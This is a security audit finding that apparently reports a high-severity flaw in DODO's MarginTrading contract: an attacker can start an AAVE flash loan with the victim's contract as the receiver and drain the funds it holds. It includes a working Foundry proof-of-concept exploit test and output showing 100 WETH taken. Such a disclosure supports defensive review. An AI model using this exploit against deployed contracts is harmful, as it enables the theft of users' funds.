alexzoid

high

# A Potential "Griefing" Attack Could Drain Funds from `MarginTrading` Contract

## Summary
Funds held within the `MarginTrading` contract are potentially at risk of being drained through a "griefing" attack. An attacker could exploit this vulnerability by invoking the `executeOperation()` callback when calling the AAVEv2 lending pool's `flashloan()` function.

## Vulnerability Detail
There is a potential security issue during the creation of a new `MarginTrading` contract using the `MarginTradingFactory.createMarginTrading()` method. This allows for the possibility of sending funds directly to the address of the newly deployed contract. An example of this, where 100 WETH is sent and held, can be seen below:
```solidity
bytes memory depositParams = encodeDepositParams(2, address(0), 0);
bytes memory flashLoanParams = new bytes(0);
marginTradingUser1 = marginTradingFactory.createMarginTrading{value: 100 ether}(
    1, 
    depositParams, 
    flashLoanParams
    );
```
Alternatively, funds can be deposited by calling `depositMarginTradingERC20()` or `depositMarginTradingETH()`, setting `_margin` to `false`.

An attacker could exploit this by initiating a `flashloan()` and setting the receiver callback to the victim's `MarginTrading` contract. This callback would execute with parameters set by the attacker, enabling them to obtain necessary approvals and execute a harmful callback.

Although the AAVEv2 mock lending pool contract's `flashloan()` function uses `msg.sender` as the callback address (as seen at line https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/mock/MockLendingPool.sol#L108), in a real-world scenario, the AAVEv2 `flashloan()` function uses the `receiver` address passed from the function parameters:
- `File 76 of 91 : LendingPool.sol` https://polygonscan.com/address/0x8dff5e27ea6b7ac08ebfdf9eb090f32ee9a30fcf#code
- https://github.com/aave/protocol-v2/blob/ce53c4a8c8620125063168620eba0a8a92854eb8/contracts/protocol/lendingpool/LendingPool.sol#L499
```solidity
  function flashLoan(
    address receiverAddress,
    address[] calldata assets,
    uint256[] calldata amounts,
    uint256[] calldata modes,
    address onBehalfOf,
    bytes calldata params,
    uint16 referralCode
  ) external override whenNotPaused {
    FlashLoanLocalVars memory vars;

    ValidationLogic.validateFlashloan(assets, amounts);

    address[] memory aTokenAddresses = new address[](assets.length);
    uint256[] memory premiums = new uint256[](assets.length);

    vars.receiver = IFlashLoanReceiver(receiverAddress); // <-----------------------------------

    for (vars.i = 0; vars.i < assets.length; vars.i++) {
      aTokenAddresses[vars.i] = _reserves[assets[vars.i]].aTokenAddress;

      premiums[vars.i] = amounts[vars.i].mul(_flashLoanPremiumTotal).div(10000);

      IAToken(aTokenAddresses[vars.i]).transferUnderlyingTo(receiverAddress, amounts[vars.i]);
    }

    require(
      vars.receiver.executeOperation(assets, amounts, premiums, msg.sender, params), // <-----------------------------------
      Errors.LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN
    );
```

## Impact
There exists a risk that funds held within the `MarginTrading` contract could be entirely drained.

## Code Snippet
- https://ethereum.stackexchange.com/questions/92391/explain-griefing-attack-on-aave-flash-loan/92457#92457
- https://polygonscan.com/address/0x8dff5e27ea6b7ac08ebfdf9eb090f32ee9a30fcf#code
- https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L121
- https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTradingFactory.sol#L115
- https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/mock/MockLendingPool.sol#L108

## Proof of Concept
Change `msg.sender` to `receiverAddress` at line https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/mock/MockLendingPool.sol#L108 to make it like in the AAVEv2 mainnet:
```solidity
IFlashLoanReceiver(receiverAddress).executeOperation(assets, amounts, _premiums, msg.sender, params);
```
Create a file `test/marginTrading/GriefingAttack.t.sol`. 
```solidity
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.15;

import "../Context.t.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract GriefingAttack is Context {

    address private marginTradingUser1;
    address private _depositToken;
    address private _borrowToken;

    function setUp() public {
        contextBasic();
        approveAllToken();

        _depositToken = address(weth);
        _borrowToken = address(dai);
        faucet(address(_borrowToken), address(lendingPool), 10000 ether);
        faucetWeth(address(lendingPool), 10000 ether);
        setLendingPoolToken(MockERC20(_depositToken), dai);
        //faucetWeth(address(this), 100 ether);

        uint256 depositAmt = 100 ether;
        vm.deal(user1, depositAmt);
        bytes memory depositParams = encodeDepositParams(2, address(0), 0);
        bytes memory flashLoanParams = new bytes(0);
        vm.prank(user1);
        marginTradingUser1 = marginTradingFactory.createMarginTrading{value: depositAmt}(
            1, 
            depositParams, 
            flashLoanParams
            );

        // 100 WETH deposited to the deployed contract
        assert(weth.balanceOf(marginTradingUser1) == depositAmt);
    }

    function swap(address, address, uint256) public {
        // Drain all WETH tokens 
        weth.transferFrom(marginTradingUser1, address(this), weth.balanceOf(marginTradingUser1));
    }

    function testAttack() public {

        weth.approve(address(lendingPool), type(uint256).max);
        IERC20(_borrowToken).approve(address(lendingPool), type(uint256).max);

        address[] memory assets = new address[](1);
        assets[0] = _depositToken; 
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1 ether;
        uint256[] memory modes = new uint256[](1);
        modes[0] = 1;

        bytes memory swapParams = getSwapCalldata(address(0), address(0), 0);

        bytes memory executeParams;
        address[] memory _swapApproveToken = new address[](1);
        _swapApproveToken[0] = address(weth);
        address[] memory _withdrawAssets = new address[](0);
        uint256[] memory _withdrawAmounts = new uint256[](0);
        uint256[] memory _rateMode = new uint256[](0);
        address[] memory _debtTokens = new address[](0);
        address[] memory _tradeAssets = new address[](0);
        executeParams = encodeExecuteParams(
            0,
            address(this),
            address(this),
            _swapApproveToken,
            swapParams,         
            _tradeAssets,
            _withdrawAssets,
            _withdrawAmounts,
            _rateMode,
            _debtTokens
        );

        console.log("Attacker WETH balance", weth.balanceOf(address(this)));
        console.log("Trader WETH balance", weth.balanceOf(marginTradingUser1));

        lendingPool.flashLoan(
            marginTradingUser1, // use trader contract address for own executeFlashLoans() callback
            assets,
            amounts,
            modes,
            address(this),
            executeParams,
            uint16(0)
        );

        console.log("==========================================");
        console.log("Attacker WETH balance", weth.balanceOf(address(this)));
        assert(weth.balanceOf(address(this)) != 0);
        console.log("Trader WETH balance", weth.balanceOf(marginTradingUser1));
        assert(weth.balanceOf(marginTradingUser1) == 0);
    }
}
```

To initiate a Foundry test use the following command: `forge test -vv --match-test testAttack`. An example of the test output:
```bash
Running 1 test for test/marginTrading/GriefingAttack.t.sol:GriefingAttack
[PASS] testAttack() (gas: 229418)
Logs:
  Attacker WETH balance 0
  Trader WETH balance 100000000000000000000
  ==========================================
  Attacker WETH balance 100000000000000000000
  Trader WETH balance 0

Test result: ok. 1 passed; 0 failed; finished in 4.10ms
```

## Tool used
VSCodium, Foundry

## Recommendation
Don't provide traders an interface for keeping funds in the `MarginTrading` contract, think about additional checks in the callback.